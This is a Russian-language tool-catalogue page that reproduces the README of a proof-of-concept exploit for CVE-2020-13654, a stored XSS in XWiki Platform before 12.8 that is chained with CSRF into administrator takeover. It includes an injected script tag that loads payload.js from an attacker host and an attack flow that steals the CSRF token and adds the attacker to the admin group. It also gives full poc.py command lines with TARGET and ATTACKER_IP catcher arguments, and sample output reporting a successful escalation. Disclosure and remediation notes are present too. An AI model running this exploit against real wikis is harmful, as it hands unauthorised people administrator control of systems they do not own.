Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2020-13654 — CVE-2020-13654 — XWiki Platform < 12.8 — Хранимый XSS → CSRF → Захват учётной записи | Kitploit
Инструменты/GitHubGitHub/astaruf/cve-2020-13654
Повышение привилегийАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеОбучение и Образование
GitHubastaruf/cve-2020-13654

CVE-2020-13654

CVE-2020-13654 — XWiki Platform < 12.8 — Хранимый XSS → CSRF → Захват учётной записи

Репозиторий
14 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
Сайт

CVE-2020-13654 - XWiki Platform < 12.8 - Хранимый XSS → CSRF → Повышение привилегий

Найдено и сообщено: Astaruf
Полное описание: https://nstsec.com/en/posts/xwiki-xss-cve-2020-13654/
Запись в NVD: https://nvd.nist.gov/vuln/detail/CVE-2020-13654


Уязвимость

XWiki Platform до версии 12.8 не применяет HTML-кодирование к полям, управляемым пользователем, в редакторе профиля. Подтверждённое в ходе исследования затронутое поле — «Компания» (в разделе Редактировать → Личная информация), но и другие поля профиля используют тот же путь в коде.

При рендеринге страницы профиля сохранённое значение поля выводится в HTML как есть, без вызова $escapetool.xml() или эквивалентного экранирования. Злоумышленник с любой аутентифицированной учётной записью, в том числе только что зарегистрированной самостоятельно, может сохранить произвольный HTML/JavaScript, который постоянно выполняется в браузере каждого посетителя профиля, включая администраторов.

Основная причина в затронутом шаблоне Velocity:

root@kitploit:~
## Vulnerable (< 12.8): value written directly to the DOM
$xwiki.getUserProperty($user, "company")

## Fixed (≥ 12.8): value HTML-encoded before output
$escapetool.xml($xwiki.getUserProperty($user, "company"))
ПолеЗначение
ПродуктXWiki Platform
Затронутые версии< 12.8
Исправлено в12.8
Оценка CVSSv3

Сценарий атаки

Эта PoC демонстрирует цепочку повышения привилегий без клика:

root@kitploit:~
Low-privilege attacker account
        │
        ├─ stores <script src="http://attacker/payload.js"> in Company field
        ▼
  XWiki profile page (poisoned)
        │
        ├─ admin navigates to the page (e.g. via user list or support ticket)
        ▼
  Payload executes in admin browser session
        │
        ├─ fetches /bin/view/XWiki/XWikiAdminGroup  →  extracts CSRF token
        ├─ POSTs form_token + xpage=adduorg + name=attacker  →  adds attacker to XWikiAdminGroup
        │
        ▼
  Attacker now has full admin access

Не требуется никакого действия администратора, кроме одного посещения страницы.


PoC

poc.py — это автономный эксплойт. Он:

  1. При необходимости самостоятельно регистрирует новую учётную запись с низкими привилегиями через открытую конечную точку регистрации XWiki.
  2. Аутентифицирует учётную запись злоумышленника и внедряет XSS-полезную нагрузку в поле профиля Company, сохраняя все остальные значения полей.
  3. Проверяет, что полезная нагрузка присутствует в исходном коде отрендеренной страницы.
  4. Запускает встроенный HTTP-сервер, который отдаёт встроенную JavaScript-полезную нагрузку (/payload.js) и регистрирует входящие маячки.
  5. Ожидает, пока администратор посетит отравленный URL профиля.

Когда администратор посещает URL, сохранённый тег <script src="..."> загружает payload.js с сервера злоумышленника. Полезная нагрузка выполняется в контексте аутентифицированного браузера администратора, незаметно добавляет учётную запись злоумышленника в группу XWikiAdminGroup и отправляет маячок с результатом обратно.

Использование

root@kitploit:~
pip install -r requirements.txt

С самостоятельной регистрацией (предварительная учётная запись не требуется):

root@kitploit:~
python poc.py \
  --target     http://TARGET:8080 \
  --catcher    http://ATTACKER_IP:9000 \
  --username   hacker \
  --password   'P@ssw0rd123' \
  --register   \
  --first-name John \
  --last-name  Doe \
  --email      [email protected]

С существующей учётной записью с низкими привилегиями:

root@kitploit:~
python poc.py \
  --target   http://TARGET:8080 \
  --catcher  http://ATTACKER_IP:9000 \
  --username hacker \
  --password 'P@ssw0rd123'

Аргументы

Ожидаемый вывод

root@kitploit:~
[*] Registering account 'hacker' ...
✅  Registration successful.
[*] Authenticating as 'hacker' ...
✅  Authenticated. Session: {'JSESSIONID': 'ABC...'}
[*] Injecting payload into 'hacker' profile ...
✅  Payload stored: <script src="http://192.168.1.10:9000/payload.js"></script>
[*] Verifying stored payload ...
✅  Payload confirmed in page source.

════════════════════════════════════════════════════════════
  EXPLOIT ARMED — WAITING FOR VICTIM

  Share this URL with (or wait for) an administrator to visit:
  >>>  http://TARGET:8080/bin/view/XWiki/hacker

  When triggered, the attacker account 'hacker'
  will be silently added to XWikiAdminGroup.
════════════════════════════════════════════════════════════

2024-01-15 10:23:01 [INFO] 📡 Payload executing in victim browser | 172.18.0.1 | START_PRIVESC_FOR_XWiki.hacker
2024-01-15 10:23:01 [INFO] 🎯 PRIVILEGE ESCALATION SUCCEEDED     | 172.18.0.1 | SUCCESS_ELEVATED_XWiki.hacker

Устранение

Обновитесь до XWiki Platform ≥ 12.8.

Исправление применяет $escapetool.xml() ко всем управляемым пользователем полям профиля перед их рендерингом, предотвращая внедрение необработанного HTML/JavaScript.

Если немедленное обновление невозможно, ограничьте самостоятельную регистрацию и видимость профилей для доверенных пользователей с помощью управления правами доступа XWiki.


Хронология

ДатаСобытие

Ссылки

  • https://nvd.nist.gov/vuln/detail/CVE-2020-13654
  • https://nstsec.com/en/posts/xwiki-xss-cve-2020-13654/
  • https://github.com/xwiki/xwiki-platform
  • https://cwe.mitre.org/data/definitions/116.html

Отказ от ответственности

Этот репозиторий предоставлен только для образовательных и авторизованных исследовательских целей в области безопасности.
Не используйте его против систем, которыми вы не владеете или на тестирование которых у вас нет явного письменного разрешения.
Автор не несёт ответственности за неправомерное использование.

Скачать инструмент
7.5 (Высокий)
CWECWE-116 — Неправильное кодирование или экранирование вывода
АргументОбязательныйОписание
--target✅Базовый URL XWiki
--catcher✅URL, контролируемый злоумышленником (используется для отдачи payload.js и сбора маячков)
--username✅Имя пользователя учётной записи злоумышленника
--password✅Пароль учётной записи злоумышленника
--register✗Автоматически зарегистрировать учётную запись перед эксплуатацией
--first-nameесли --registerИмя при регистрации
--last-nameесли --registerФамилия при регистрации
--emailесли --registerЭлектронная почта при регистрации
Май 2020Уязвимость обнаружена
Май 2020Сообщено команде безопасности XWiki
Июль 2020Исправлено в XWiki Platform 12.8
Ноябрь 2020CVE-2020-13654 присвоен MITRE
30 дек. 2020Публичное раскрытие — nstsec.com